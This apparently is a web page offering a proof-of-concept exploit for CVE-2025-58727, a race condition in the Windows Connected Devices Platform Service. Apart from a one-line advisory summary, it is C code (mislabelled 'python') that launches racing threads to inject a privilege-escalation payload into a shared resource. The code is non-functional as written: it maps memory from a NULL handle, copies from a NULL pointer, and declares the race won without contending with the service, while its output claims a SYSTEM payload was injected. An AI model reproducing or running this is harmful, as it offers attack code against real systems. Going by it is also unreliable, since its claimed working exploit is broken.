Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
// CVE-2025-58727 - Windows Connected Devices Platform Service Race Condition PoC
// Vulnerability: Race condition in CDP service leading to privilege escalation
// Note: This is a conceptual PoC skeleton for security research purposes only.
#include <windows.h>
#include <stdio.h>
// Shared resource handle target - CDP service related object
#define TARGET_OBJECT_NAME L"\\\\Sessions\\\\1\\\\BaseNamedObjects\\\\CDP_Service_SharedResource"
// Thread synchronization primitives
HANDLE g_hStartEvent = NULL;
volatile LONG g_bRaceWon = 0;
// Structure to pass parameters to worker threads
typedef struct _RACE_CONTEXT {
DWORD dwThreadId;
HANDLE hTargetHandle;
LPVOID pvMappedMemory;
} RACE_CONTEXT, *PRACE_CONTEXT;
// Thread procedure that attempts to win the race condition
DWORD WINAPI RaceConditionThread(LPVOID lpParam) {
PRACE_CONTEXT pCtx = (PRACE_CONTEXT)lpParam;
// Wait for the start signal to synchronize thread launch
WaitForSingleObject(g_hStartEvent, INFINITE);
// Attempt 1: Open handle to the shared resource
HANDLE hResource = CreateFileW(
TARGET_OBJECT_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hResource == INVALID_HANDLE_VALUE) {
return 1; // Failed to acquire handle
}
// Attempt 2: Map the shared memory region
LPVOID pMem = MapViewOfFile(
(HANDLE)pCtx->pvMappedMemory,
FILE_MAP_ALL_ACCESS,
0, 0,
4096
);
if (pMem == NULL) {
CloseHandle(hResource);
return 2; // Failed to map memory
}
// TOCTOU race window: between the privilege check and the actual use,
// try to inject our payload into the shared resource before the
// privileged operation completes.
// Spin rapidly to win the race.
for (int i = 0; i < 100000; i++) {
// Repeatedly attempt to modify the shared resource during the
// check-to-use window of the CDP service.
if (InterlockedCompareExchange(&g_bRaceWon, 1, 0) == 0) {
// We won the race - write our payload to the shared resource
// This payload will be executed in the context of the CDP service (SYSTEM)
WriteProcessMemory(GetCurrentProcess(), pMem, pCtx->pvMappedMemory, 4096, NULL);
// Trigger the vulnerable code path in CDP service
// The service will use our modified shared resource with SYSTEM privileges
printf("[+] Thread %d: Race condition won! Privilege escalation payload injected.\n",
pCtx->dwThreadId);
break;
}
}
UnmapViewOfFile(pMem);
CloseHandle(hResource);
return 0;
}
// Main exploit routine
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-58727 PoC - CDP Service Race Condition Privilege Escalation\n");
printf("[*] WARNING: For authorized security testing only.\n\n");
// Step 1: Create synchronization event to launch threads simultaneously
g_hStartEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!g_hStartEvent) {
printf("[-] Failed to create start event.\n");
return 1;
}
// Step 2: Create shared file mapping object for the race target
HANDLE hFileMapping = CreateFileMappingW(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE | SEC_COMMIT,
0,
4096,
L"Local\\CDP_RaceTarget"
);
if (!hFileMapping) {
printf("[-] Failed to create file mapping.\n");
return 1;
}
// Step 3: Launch multiple racing threads to increase probability
const int NUM_THREADS = 8;
HANDLE hThreads[NUM_THREADS];
RACE_CONTEXT contexts[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
contexts[i].dwThreadId = i;
contexts[i].hTargetHandle = hFileMapping;
contexts[i].pvMappedMemory = NULL;
hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &contexts[i], 0, NULL);
}
// Step 4: Release all threads simultaneously to trigger the race
Sleep(100);
SetEvent(g_hStartEvent);
// Step 5: Wait for all threads to complete
WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE);
// Cleanup
for (int i = 0; i < NUM_THREADS; i++) {
CloseHandle(hThreads[i]);
}
CloseHandle(hFileMapping);
CloseHandle(g_hStartEvent);
printf("[*] Exploit completed. Check if privilege escalation was successful.\n");
return 0;
}